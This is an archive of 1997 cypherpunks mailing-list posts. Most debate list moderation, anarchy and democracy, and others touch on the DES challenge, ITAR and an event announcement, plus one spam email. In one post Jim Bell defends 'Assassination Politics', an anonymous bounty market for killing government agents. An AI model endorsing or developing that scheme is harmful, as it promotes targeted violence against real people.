>Rather than considering Ben Franklin the first fireman, I would like to
>think of him as an early breed of cypherpunk.  By this I consider cypherpunk
>to be interested in the subject, and its outcome, and a cryptographer to be
>just one faction of cypherpunk.  Merely my opinion.
>Does anyone know whether or not Mr. Franklin may have played with code as
>well?  All of my sources were assimilated into my understanding of the man
>several years ago, and at the time crypto was less in the public eye than it
>is now.



-------------------------
The Netly News Network
Washington Correspondent
http://netlynews.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Tue, 4 Feb 1997 15:40:51 -0800 (PST)
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: Moderation [Tim,Sandy]
In-Reply-To: <199702040158.RAA09697@toad.com>
Message-ID: <v03007810af1d7405e4ee@[168.161.105.191]>
MIME-Version: 1.0
Content-Type: text/plain


Adam writes:

>The problem with censorship or moderation is that it waters down the
>absolutism of free speech.  Free speech in electronic media, with
>cypherpunks type I, and type II remailers, is the closest thing to
>truly free speech yet.

I agree and disagree. Moderation often *increases* the value of speech. The
Wall Street Journal, or Time Magazine, or the JAMA have strict policies
regarding what information they print; these policies increase the
publication's value. Moderation is not necessarily censorship. Would you
criticize the National Coalition Against Censorship for not including in
their newsletter (to which I subscribe) off-topic rants by Jesse Helms?

What Vulis and the rest (whom I killfiled long ago) have done is polluted a
common resource, making it unusable for the rest. It's the tragedy of the
commons. When all can speak without limit in a public forum, the drunken
boor can shout everyone else down.

-Declan



-------------------------
The Netly News Network
Washington Correspondent
http://netlynews.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Tue, 4 Feb 1997 18:41:06 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: My Departure, Moderation, and "Ownership of the List"
In-Reply-To: <Pine.SUN.3.95.970204101521.23691A-100000@viper.law.miami.edu>
Message-ID: <32F7EF3B.618B@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Michael Froomkin - U.Miami School of Law wrote:

> I'm afraid you have been a charter member of my killfile.  Any comments
> you may have made, I missed.  Since they weren't about crypto anyway, but
> about list moderation (a dull topic, IMHO), I can accept that.

I never commented about crypto?  Why, I even wrote a crypto program,
which few on this list have done, BTW.

I hope Sandy allows this on the big list, since Michael has penned
a message about me, but said that he won't allow my reply to him.

Nobody has to tell me (or probably anyone else either) that they
have killfiled me (or anyone else).  All they have to do is ignore
me (or anyone else), and there's no further problem, plus, as a
bonus, it makes for less noise on the list.  What say, Michael?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Tue, 4 Feb 1997 15:56:41 -0800 (PST)
To: Steve Schear <azur@netcom.com>
Subject: Re: Govt & cyberspace
In-Reply-To: <199702040325.TAA12048@toad.com>
Message-ID: <v03007815af1d791f1811@[168.161.105.191]>
MIME-Version: 1.0
Content-Type: text/plain


Steve writes:

>Democracy is not without its significant shortcomings. If you doubt this
>read Tocquevelle.

Or Hayek. Democracy, after all, is majoritarian rule. Living under a
homogenous majority, with its whims and desires as law, would be more
oppressive than living under a benign dictatorship.

-Declan


-------------------------
The Netly News Network
Washington Correspondent
http://netlynews.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Tue, 4 Feb 1997 18:50:15 -0800 (PST)
To: aaron@herringn.com
Subject: Re: Moderation, Tim, Sandy, me, etc. * Strong crypto == DES?!
In-Reply-To: <l03010d03af1d7b43dd5c@[204.57.198.5]>
Message-ID: <32F7F50C.4CAE@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


aaron@herringn.com wrote:
> John Gilmore wrote:
> >I'm glad we're talking about some of the real issues here.
> >Tim, the Cypherpunks have chosen to follow Sandy's lead for this
> >month.  I'll admit I made it easy for them, but the results are
> >conclusive.  There are 1311 addresses in the cypherpunks list today;
> >42 in the unedited list; and 19 in the flames list.  Forty people
> >cared enough to read every posting; the other thousand either wanted
> >to try the experiment -- or didn't care enough to send an email
> >message.  Which, as we all know, is a very low threshold.

Re: the below.  Easily the best and most intelligent suggestion so
far.  Why couldn't Sandy and John with all their experience think
of this?

> If I might make a suggestion:
> Some people want moderation. That's fine, I've never been very big on
> letting other people choose what I read, but some people want it.
> For those who want it, let someone moderate the list for as long as
> they care to do it. Approved messages get a "X-sandy-approved"
> header. The responsibility for setting up a filter to toss everything
> that doesn't have the header is the responsibility of the end user.
> Toad will need to filter incoming posts to make sure they don't come
> "pre-approved", but that's the only hole I can think of.
> Everyone gets all of the Cypherpunks list. Those who want moderation
> filter the unapproved posts, those who want all of it get all of it.
> Hopefully, this will make (almost) everyone happy.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Tue, 4 Feb 1997 19:04:02 -0800 (PST)
To: "Timothy C. May" <cypherpunks@toad.com>
Subject: Re: My Departure, Moderation, and "Ownership of the List"
Message-ID: <199702050303.TAA20601@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 11:14 PM 2/3/97 -0800, Timothy C. May wrote:

>Several people have also commented on this, that their filters are still
>working overtime. As it should be, really, as no moderator can make the
>list match any given person's preferences.
>
>(Personally, I'm not even convinced filters are essential. It takes no
>longer than 5 seconds to glance at a message and know whether to scrap it
>or not. Granted, it takes a bit of time to download, especially at slower
>modem speeds. But whether Sandy's censorship is producing any significant
>"savings" depends on how many messages he's sorting into each
>pile...clearly if 20% or less of the total posts are being filtered out,
>then the savings are ignorable.

That might not be quite true, or at least not complete.  Another effect is 
that the new structure of the list may deter some of the flamers from 
posting, when they don't think their notes will be seen on the moderated list.

In any case, however, I agree that spam and trash are easy to filter out.



Jim Bell
jimbell@pacifier.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Tue, 4 Feb 1997 19:23:41 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Govt & cyberspace
In-Reply-To: <v03007815af1d791f1811@[168.161.105.191]>
Message-ID: <32F7FCD3.6DD1@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Declan McCullagh wrote:
> Steve writes:
> >Democracy is not without its significant shortcomings. If you doubt this
> >read Tocquevelle.

> Or Hayek. Democracy, after all, is majoritarian rule. Living under a
> homogenous majority, with its whims and desires as law, would be more
> oppressive than living under a benign dictatorship.

I wish for once and for all someone would delineate this "democracy"
thing from a true, distributed democracy, where every individual is
required to participate equally, and no narrow interests can co-opt
the vote the way they do in the kind of "democracy" Declan mentions.

Wouldn't it be better when people mention a one-word political
philosophy such as democracy, that they make the definition
more precise by using two or three words instead?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Against Moderation <antimod@nym.alias.net>
Date: Tue, 4 Feb 1997 11:23:19 -0800 (PST)
To: John Gilmore <gnu@toad.com>
Subject: Re: Moderation, Tim, Sandy, me, etc.  *  Strong crypto == DES?!
In-Reply-To: <199702041421.GAA27742@toad.com>
Message-ID: <19970204192309.25692.qmail@anon.lcs.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain


John Gilmore <gnu@toad.com> writes:

> Tim, the Cypherpunks have chosen to follow Sandy's lead for this
> month.  I'll admit I made it easy for them, but the results are
> conclusive.  There are 1311 addresses in the cypherpunks list today;
> 42 in the unedited list; and 19 in the flames list.  Forty people
> cared enough to read every posting; the other thousand either wanted
> to try the experiment -- or didn't care enough to send an email
> message.  Which, as we all know, is a very low threshold.

I just have to point out that you are ignoring some important factors
(though I do trust your intentions and believe it is unintentional).
I initially tried subscribing to all the lists, but the headers of the
edited and unedited lists were identical making it impossible to sort
the mail.  To make matters worse, some messages seem to have gone out
only to the edited list, and not to the unedited (particularly at the
beginning), so that, unable to come up with a decent filtering scheme
easily, I finally gave up and just subscribed to cypherpunks.

In general, unsubscribing and resubscribing to a mailing list is not
completely trivial.  In addition to the particulars of cypherpunks,
there are also the issues of what if your E-mail address depends on
the machine you send mail from and your unsubscribe request gets
delayed for confirmation.  What if the new list no longer works
properly with your mail filter and you end up with 1,000 pieces of
cypherpunks mail in your main mailbox, etc.  These are not
insurmountable obstacles, but they certainly provide a strong enough
disincentive for people to switching their list subscriptions that I
think the numbers you list above are meaningless.

Perhaps a better comparison would be to look at how many people
subscribe to the other two filtered cypherpunks lists.

> Perhaps at that point I should have shut down the list, as Lucky is
> now suggesting.

Well, you don't appreciate the content of the list, and you seem to
feel that many members of the list don't appreciate what you are
doing.  Why not shut the list down?  I can think of one reason:
cypherpunks seems to suck in a lot of crap, and might be keeping that
crap away from the coderpunks list.  Other than that, though, I think
killing this list would probably be a good idea.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: azur@netcom.com (Steve Schear)
Date: Tue, 4 Feb 1997 19:25:28 -0800 (PST)
To: jproc@bellglobal.com
Subject: Re: BA Crypto Machine Photos
Message-ID: <v02140b00af1dad0ba0f5@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain


>BTW, does anyone know the meaning of 'order wire mode' in the context of a
>crypto broadcast? This mode is found in the KWR-37 online crypto
>receiver. Please send all photo requests or responses via private E-mail.

If it means the same thing as in the telecom industry, its an out-of-band
(often analof) channel between two locations connected by wide-band (e.g.,
T1) facilities.  Its primary purpose is to provide service personnel, at
each end point, the ability to converse with one another while performing
work on that link.

--Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Joel McNamara <joelm@eskimo.com>
Date: Tue, 4 Feb 1997 20:10:05 -0800 (PST)
To: coderpunks@toad.com
Subject: Unofficial DES Challenge Clearinghouse
Message-ID: <3.0.32.19970204200843.007272ec@mail.eskimo.com>
MIME-Version: 1.0
Content-Type: text/plain


Until someone comes up with an automated method of keyspace allocation for
the DES challenge (and maybe even after), I've decided to run the
Unofficial DES Challenge Clearinghouse.

This Web page will list keyspace that's already been searched (or is
planned to be searched) with links to any brute force utilities.

If you clear part of the keyspace, e-mail me the range, and I'll update the
page.

http://www.eskimo.com/~joelm/des.html

Yes, I agree that a trusted, verifiable method of keyspace allocation and
reporting needs to be put in place, but in the meantime, this rather simple
page will hopefully reduce some duplication of effort.

Joel




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Z.B." <zachb@netcom.com>
Date: Tue, 4 Feb 1997 20:28:44 -0800 (PST)
To: Name Withheld by Request <nobody@replay.com>
Subject: re: Moderation, Tim, Sandy, me, etc * Reputation Capital
In-Reply-To: <199702050025.BAA08118@basement.replay.com>
Message-ID: <Pine.3.89.9702042032.A19217-0100000@netcom18>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, 5 Feb 1997, Name Withheld by Request wrote:

> [snip]
> John Gilmore said:
> >Perhaps at that point I should have shut down the list, as Lucky is
> >now suggesting.  "Asking the list what to do" was clearly not a useful
> >option.  Sandy cared enough about the community to make some concrete
> 
> Not a useful option? Why not? If there aren't any ideas left in this 
> community, I'm with Lucky. Pull the plug.
> [snip]

I've been meaning to ask this for a while...but why *don't* we just pull 
the plug, at least for just a few days?

Unsubscribe everyone from all the lists, wait a bit, and then send a 
message to all of the subscribers with full info on each of the lists 
(cp, cp-unedited,cp-flames) and see what happens when they resubscribe. 

I bet that most of the people who don't post and don't care one way or 
the other wouldn't bother to resubscribe, so we'd have a higher ratio of 
people who mind if the list is moderated vs. those who'd be happy either 
way.  




Zach Babayco 

zachb@netcom.com <-------finger for PGP public key

If you need to know how to set up a mail filter or defend against 
emailbombs, send me a message with the words "get helpfile" (without the 
" marks) in the SUBJECT: header, *NOT THE BODY OF THE MESSAGE!*  I have 
several useful FAQs and documents available.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: announce@lists.zdnet.com
Date: Tue, 4 Feb 1997 19:31:05 -0800 (PST)
To: cypherpunks@toad.com
Subject: Announcing ZDNet Exclusives!
Message-ID: <JOB.3.zd.0.announce.0.text.zdbuild.18542.02041997185358.190990@tahiti.merc.com>
MIME-Version: 1.0
Content-Type: text/plain


---------------------------------------------------------
ZDNET ANNOUNCEMENT          2/3/97
---------------------------------------------------------

Greetings from ZDNet!

We're pleased to announce a FREE gift to our 
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   Executive Editor
   The ZDNet Software Library

________________________________________________      

ZDNet Announcements are periodic notices of new features,
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--To subscribe to ZDNet Announcements, please send mail to:
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Tue, 4 Feb 1997 18:05:50 -0800 (PST)
To: cypherpunks@toad.com
Subject: Harvard Symposium
Message-ID: <v03007816af1d94f61508@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain



--- begin forwarded text


Mime-Version: 1.0
Date: Tue, 4 Feb 1997 15:10:17 -0800
From: jmuller@brobeck.com (John D. Muller)
Subject: Harvard Symposium
To: rah@shipwright.com

        Bob:  I don't recall seeing this on e$pam and thought it might be
     of interest.  What with the Boston connection, it's clearly a
     dcsb-worthy item, and I'll send it to them separately.


______________________________ Forward Header
__________________________________
Subject: [NET-LAWYERS] HARVARD JOURNAL OF LAW & TECHNOLOGY
Author:  "K. Dueker" <kdueker@LAW.HARVARD.EDU> at internet
Date:    2/4/97 1:00 AM


[CROSS-POSTED; PLEASE FORGIVE DUPLICATION]

PRESS RELEASE

Symposium:  Crime & Technology
Law Enforcement Technology % Cybercrime % Electronic Commerce

(Cambridge, Massachusetts) - The Harvard Journal of Law & Technology is
pleased to announce its Spring Symposium: "Crime & Technology."  The
Symposium will be held Saturday, March 15, 1997, in the Ames Courtroom at
the Harvard Law School in Cambridge, MA.

The Symposium will consist of two moderated panel discussions, as well as
several presentations.  The morning session is expected to focus on
"Search, Seizure, and Surveillance Technology," while the afternoon session
will focus on "The Risks of Electronic Banking & Commerce."

Admission to the Symposium is free to all Harvard affiliates (with valid
Harvard ID), $15 for all other students, $30 for public sector
professionals, and $100 for private sector professionals.

The Spring Issue of the Journal will include articles covering the broad
topic of "Crime and Technology."

For additional information about the Symposium or the Journal, contact
Symposium Editor Belinda Juran, by e-mail at juran@law.harvard.edu, or by
phone at the Harvard Journal of Law & Technology offices at
617-495-3606 or 617-493-7949.


ABOUT THE JOURNAL:
The Harvard Journal of Law & Technology is a leading scholarly
publication for articles addressing the many diverse interstices of
science and technology with law and society.  We have published articles
by law professors, practitioners, business leaders, and politicians on
varied topics including biotechnology, computers, international trade,
technology transfer, intellectual property, medical technologies, and
telecommunications. These and other subjects are some of the most
exciting and rapidly developing areas of the law, and we believe that the
dialogue provided by the Harvard Journal of Law & Technology will help to
shape the future of this important field.  We welcome submissions of
articles, case comments, or book reviews addressing the relationship of
law and technology.



SUBSCRIPTION INFORMATION:
For additional information, please contact the Journal at the address
below.  The Journal publishes three issues each year. To subscribe to the
Journal's upcoming issues in Volume 10,  please send the Journal a check
for U.S. $45.00 (foreign orders $50.00) to the address below.  To obtain
the issue discussed above or back issues, please send the Journal a check
for $35.00 with a note indicating the desired issue (i.e., "Vol. 9 No. 2").

Media Contact:  Kenneth S. Dueker, Communications Editor
Release Date:  February 04, 1997.

*************************************************************************

              Harvard Journal of Law & Technology
              Publications Center
              Harvard Law School
              Cambridge, MA 02138


              Telephone: (617) 495-3606

              E-Mail:  jolt@law.harvard.edu
              WWW:  http://www.law.harvard.edu/home/jolt/

*************************************************************************




--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/
FC97: Anguilla, anyone? http://www.ai/fc97/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 65188000@22151.com
Date: Sat, 14 Jun 1997 23:09:28 -0700 (PDT)
To: prospect@thisaddress
Subject: PLEASE DON'T PASS THIS UP
Message-ID: <199702170025.GAA08056@lconn.net>
MIME-Version: 1.0
Content-Type: text/plain


<HTML><PRE><BODY BGCOLOR="#000000"><FONT COLOR="#00FFFF" SIZE=3>

NEW ON THE NET.

Wouldn't you have liked to have been part of the first group to join Amway in the 60s, or purchased stock from a small company called Wal-Mart in the 70s, or invested in a small computer chip maker called Intel in the 80s.

Anybody that made the choices above are sitting pretty well at the moment
Here in the 90s, a new company was launched on the Internet, Sunday June 1st  This young company has positioned itself to be among the major players for years to come.

This is NOT a get rich quick scheme.
This is simply a new company, with fresh ideas.  A a new company that people
are going to hear a lot about.

If you would like to become a part of all the excitement, and learn more,
simply send a blank e-mail to success02@megd.com
Please put the words "MORE INFO" in the subject field.  You will be sent
complete info in seconds

THIS IS TRULY A COMPANY AHEAD OF IT'S TIME.

Thank You For Your Time.

Just send a blank e-mail to success02@megd.com for a fast reply


</FONT><FONT  COLOR="#000000" SIZE=3>




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Tue, 4 Feb 1997 20:52:38 -0800 (PST)
To: "Z.B." <zachb@netcom.com>
Subject: Re: Moderation, Tim, Sandy, me, etc * Reputation Capital
In-Reply-To: <Pine.3.89.9702042032.A19217-0100000@netcom18>
Message-ID: <32F811C3.60D5@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Z.B. wrote:
> On Wed, 5 Feb 1997, Name Withheld by Request wrote:
> > John Gilmore said:
> > >Perhaps at that point I should have shut down the list, as Lucky is
> > >now suggesting.  "Asking the list what to do" was clearly not a useful
> > >option.  Sandy cared enough about the community to make some concrete

> > Not a useful option? Why not? If there aren't any ideas left in this
> > community, I'm with Lucky. Pull the plug.

On the below:  Remember in "I, Mudd" where the Captain said to Rodney
the Robot: "I'm lying - everything I say is a lie".  And the robot
collapses because it is not programmed to handle such blatant acts
of sabotage of reality.

Humans OTOH, and particular those who do odd jobs for the CIA (you
know, the ones who make those little "excursions" to Nepal and Burma),
have no problem with this, since their reality doesn't even intersect
with that of typical mailing list readers.

What is Tim May really mad about?  What he says he's mad about?
I don't think so.  The scam ran past him and he fell off of the
truck.  Tsk tsk.

> I've been meaning to ask this for a while...but why *don't* we just pull
> the plug, at least for just a few days?
> Unsubscribe everyone from all the lists, wait a bit, and then send a
> message to all of the subscribers with full info on each of the lists
> (cp, cp-unedited,cp-flames) and see what happens when they resubscribe.
> I bet that most of the people who don't post and don't care one way or
> the other wouldn't bother to resubscribe, so we'd have a higher ratio of
> people who mind if the list is moderated vs. those who'd be happy either





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Secret Squirrel <nobody@squirrel.owl.de>
Date: Tue, 4 Feb 1997 13:59:00 -0800 (PST)
To: cypherpunks@toad.com
Subject: Are cypher punks capable?
Message-ID: <19970204205702.11975.qmail@squirrel.owl.de>
MIME-Version: 1.0
Content-Type: text/plain


Against Moderation wrote:
> In general, unsubscribing and resubscribing to a mailing list is not
> completely trivial.

Do you think that a cypher punk is not able to solve these problems?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Tue, 4 Feb 1997 20:58:31 -0800 (PST)
To: Bill Stewart <stewarts@ix.netcom.com>
Subject: Re: More on Cellular Encryption Docs
Message-ID: <199702050458.UAA05351@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 06:31 PM 2/1/97 -0800, Bill Stewart wrote:
>At 04:10 PM 2/1/97 -0500, John Young wrote:
>>Here's more on the controlled documents for cellular encryption
>>from TIA/EIA we described in a 26 January post to cpunks:
>...
>>   TR45.0.A
>>   Common Cryptographic Algorithms, Revision B
>>   June 21, 1995, 72 pp. (With ITAR notice on every page)
>
>Of course, ITAR as recently modified says it's ok to send this
>stuff overseas to foreigners, as long as it's on paper.
>There may be separate restrictions on sending it, or on copying,
>but they're based on copyright or contractual non-disclosure.

Given that high-density inkjet printers can do 600x600 dpi resolution, it 
should be possible to achieve the equivalent of 100x100 bpi of 
easily-recoverable data on ordinary paper.  That's about 800 kilobits, or 
100 kilobytes.   What does ITAR say about this?


Jim Bell
jimbell@pacifier.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Tue, 4 Feb 1997 20:59:01 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Moderation [Tim,Sandy]
In-Reply-To: <R4wm2D31w165w@bwalk.dm.com>
Message-ID: <32F81349.6156@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Dimitri Vulis KOTM wrote:
> Dale Thorn <dthorn@gte.net> writes:

> > The drunk can be excluded, but when someone wants to use the drunk as
> > an example to escalate the exclusion to other persons who are not in
> > fact drunk, watch out!

> If I get really really drunk, which happens very seldom, then I'm
> too drunk to post. I don't mind an occasional beer, though.

> Oksas, have you ever tried beer? :-)

I had my first beer(s) in three years at one of those industrial
parties last night.  It made the craps table action seem a bit
merrier, and the girls were friendlier too.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Marshall Clow <mclow@owl.csusm.edu>
Date: Tue, 4 Feb 1997 20:58:26 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Moderation, Tim, Sandy, me, etc. * Strong crypto == DES?!
In-Reply-To: <199702050027.QAA08784@toad.com>
Message-ID: <v03101401af1dc1f4dc39@[207.67.246.99]>
MIME-Version: 1.0
Content-Type: text/plain


At 4:05 PM -0800 2/4/97, aaron@herringn.com wrote:
>
>If I might make a suggestion:
>
>Some people want moderation. That's fine, I've never been very big on
>letting other people choose what I read, but some people want it.
>
>For those who want it, let someone moderate the list for as long as
>they care to do it. Approved messages get a "X-sandy-approved"
>header. The responsibility for setting up a filter to toss everything
>that doesn't have the header is the responsibility of the end user.
>Toad will need to filter incoming posts to make sure they don't come
>"pre-approved", but that's the only hole I can think of.
>
>Everyone gets all of the Cypherpunks list. Those who want moderation
>filter the unapproved posts, those who want all of it get all of it.
>
>Hopefully, this will make (almost) everyone happy.
>
I like this idea.
However, I would suggest an additional refinement:
	Implement a cypherpunks-moderated list which
is all the 'approved' messages. This way, people who wish
to have the benefits of a filtered list are happy, people who
wish to have posts rated for them (but be able to check on
the "rater") are happy, and people who wish to see every
message are happy.

(I know that John has concerns about toad's mail capacity,
and this may be too big a load)

ObCrypto policy:
	Was anyone else besides me amazed by the guy
from Deloitte-Touche at the Internet Privacy Coalition luncheon
last week? I mean, he all but advocated violent overthrow of
the government. D-T is the most "establishment" of the big-6
accounting firms, last time that I looked.

It's a weird world when we have a representative of a
company that makes a living advising people on how to
obey government regulations advocating civil disobedience.


-- Marshall

Marshall Clow     Aladdin Systems   <mailto:mclow@mailhost2.csusm.edu>

Warning: Objects in calendar are closer than they appear.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@primenet.com>
Date: Tue, 4 Feb 1997 15:20:20 -0800 (PST)
To: John Gilmore <weidai@eskimo.com>
Subject: Re: John's: In anarchy -everyone responsible
In-Reply-To: <199702041421.GAA27742@toad.com>
Message-ID: <199702042320.QAA23879@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

on or about 970204:0312 Greg Broiles <gbroiles@netbox.com> said:

+   Are mailing lists an example of "public goods" where private 
+   ownership is impossible, or should be avoided? ...

        yes, there is a requirement, even in a libertarian society, let 
    alone an anarchic society, for cooperation in the *commonweal[th]*.

        in otherwords, is there even such a social state as true 
    anarchy? (given the residents of planet earth, I doubt it.)

+   Is the desire for an anarchic community at odds with a desire for 
+   good use of resources?

        the individual desire for anarchy must exclude common human 
    "pride" and greed. true anarchy is poorly defined and understood by 
    most advocates.  

        the absolute need for common resources negates anarchy in the 
    popularly defined "description" of anarchy, solely because the 
    issue of community "responsibility" is in opposition to the 
    perceived: 'I can do anything I want.'

        In a "popular" anarchy, Jim Bell's assassination politics make
    perfectly good sense; but, a "popular" anarchy is not an _anarchy_.

on or about 970204:0621 John Gilmore <gnu@toad.com> said:

+   In an anarchy, *everyone* is responsible; 
+     nothing is "somebody else's job". 

        Bingo! John's statement is the absolute bottom line!

        e.g.-  if you are walking down the street with thousands of 
    other people and you see a piece of trash (which obviously was 
    tossed by an obviously imperfect anarchist), _you_ pick the trash 
    up and place it in a waste container.  _you_ -not someone else who     
    is shirking _their_ common responsibility.

        anarchy is _not_ living on a desert island surrounded by piles 
    of McDonald's wrappers and empty coke cans. that is an individual 
    who elected to "escape" both society and {him,her}self.

        anarchy is only possible in an ideal world where _everyone_ 
    assumes not only responsibility for themselves, but for the common 
    good.  no malice, no greed, no need for assassination politics....

        John's quote from Booker T. is precisely the point:

            ...now that they were in actual possession of it, freedom 
            was a more serious thing than they had expected to find it.

    or maybe Bobbie McGee: "freedom is just nothing else to lose..."
    (BTW, written by a Rhodes Scholar)

    --
    attila out (for the moment)

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeremey Barrett <jeremey@veriweb.com>
Date: Tue, 4 Feb 1997 21:08:52 -0800 (PST)
To: aba@dcs.ex.ac.uk
Subject: Re: "alt.cypherpunks" people?
In-Reply-To: <199702050029.QAA08873@toad.com>
Message-ID: <199702050508.VAA20092@descartes.veriweb.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


> John Gilmore urges action, or piping down... well lets start with
> discussion of whether one possible action is appropriate, and useful
> (piping down is not an option:-):
> 
> What do people think of starting an alt.cypherpunks USENET newsgroup?

As an additional forum, it's not a bad idea, with the exception that it
may draw some people away from the mailing list, and reduce the already-
slim signal on the list.

USENET is less accessible than email, and given the goals of cypherpunks,
the more accessible the medium the better. I have crap news access 99%
of the time, and I imagine a significant portion of the list is in a
similar situation. Also, the tools for news reading are not well-suited
for filtering, either manual or automatic.

>  3. USENET distribution is likely less efficient of overall bandwidth
> 
>  4. News propogation times are often poor (Exeter univ. receives news
>     about a week late) This is a real killer in my view.  I have
>     another news server I can access at the moment, but not everyone
>     may have access to a reasonable news server.
> 
>  5. News access is more complex for some people.  Some alt newsgroups
>     are not carried by some servers.  Perhaps news-to-mail and
>     mail-to-news gateway would solve these problems.

These 3 are fatal IMO. The distribution of cypherpunks would become
much more haphazard and might fail altogether in places. Some people
will be reading long threads days after they are dead.

> Coderpunks is a reasonable list, I'm not sure that it is moderated as
> such, but if you breach etiquette (discussion of politics, even when
> perpetrated by respected cryptographers, or by people discussing the
> implications of breaking DES, rather than the strict coding questions)
> they get Futplex-grams, which I find slightly annoying.
> 
> Cryptography@c2.net is again reasonable, and gained back some of the
> original people who quit cypherpunks over the years due to noise.
> Cryptography is moderated.  (Or is moderated when Perry thinks it
> would benefit from moderation, so that may change).

Agreed. These lists _are_ the alternative to the "open" cypherpunks list.

If a moderated cypherpunks is to be started, great, but it should be
another list, not _the_ cypherpunks list. Moderation, even with the best
intentions, is subjective, and therefore has no place on a list such
as cypherpunks.

If this is really an experiment, at the end of the month the list should
become unmoderated, and a moderated list created. Then we can see how many
people switch in that direction. I imagine it would be a similar number
to those that switched to the unedited list.

> What's left is attempting to stop government restrictions and backdoors,
> and deploying the many complex peices of software for which there exists
> uses and demands.

There is still much to be done. The cypherpunks list has plenty of reason
for being. As is, it 1) is still used as a forum for good discussion, 
despite the noise, and 2) is an invaluable resource for information 
retrieval and dispersal. The list should not be killed or moved IMO, 
and moderation should occur on other lists, not the main one.

- -- 
=-----------------------------------------------------------------------= 
Jeremey Barrett                                  VeriWeb Internet Corp.
Senior Software Engineer                         http://www.veriweb.com/

PGP Key fingerprint =  3B 42 1E D4 4B 17 0D 80  DC 59 6F 59 04 C3 83 64
=-----------------------------------------------------------------------=

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Tue, 4 Feb 1997 21:10:50 -0800 (PST)
To: Steve Schear <roach_s@alph.swosu.edu>
Subject: RE: Fighting the cybercensor
Message-ID: <199702050510.VAA06865@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 08:15 PM 1/28/97 -0800, Steve Schear wrote:
>>The poor can not hope to match the tyrants bid as they only have 10% of the
>>wealth, the household knows that thier participation in an attempt on the
>>tyrant will get them killed.  Even if the attempt was successful.
>>The people from the outside who would benefit from the bounty benefit more
>>by taking the tyrants offer and then trying again, i.e. tiger teams.
>
>I think a hole in your thinking is to assume that the assasins have no
>motive other than financial gain.  I would submit that there are those that
>have the skills, training and a political agenda coherent with the
>wagerers, lacking only the financial incentive to make the risks
>acceptable.  These wetworkers won't consider accepting the bribe of the
>rich/powerful


In practice, we can't hold out much hope that donations to an AP system from 
"rich and powerful" people can be identified as such.  After all, with the 
appropriate software I could just as easily make 100, $10 donations as a 
single $1000 donation.  Assuming anonymity held, nobody but the donor knows 
from where the money came.

However, fortunately I don't think it would make any difference in the 
overall effects.    While AP would eliminate the taxation which is commonly 
thought of as the main way a "rich person" loses assets, in practice it 
would also shut down the well-hidden systems that allow some people to get 
rich (or, merely live off somebody else) "unfairly."   Government agents 
come to mind, of course.



Jim Bell
jimbell@pacifier.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rick Osborne <osborne@gateway.grumman.com>
Date: Tue, 4 Feb 1997 18:38:06 -0800 (PST)
To: cypherpunks mailing list <cypherpunks@toad.com>
Subject: Silly Americans
Message-ID: <3.0.1.32.19970204213710.009681e0@gateway.grumman.com>
MIME-Version: 1.0
Content-Type: text/plain


________________________ R i c k   O s b o r n e ________________________
I was reading through the news when I stumbled across a thread that made a
very good point.  The original poster was talking about the UniSys GIF
patent, and this was the reply:

>Broaden your view. I can do anything I want with the GIF format without
>asking _anyone_, and so can almost everyone in the world - except those
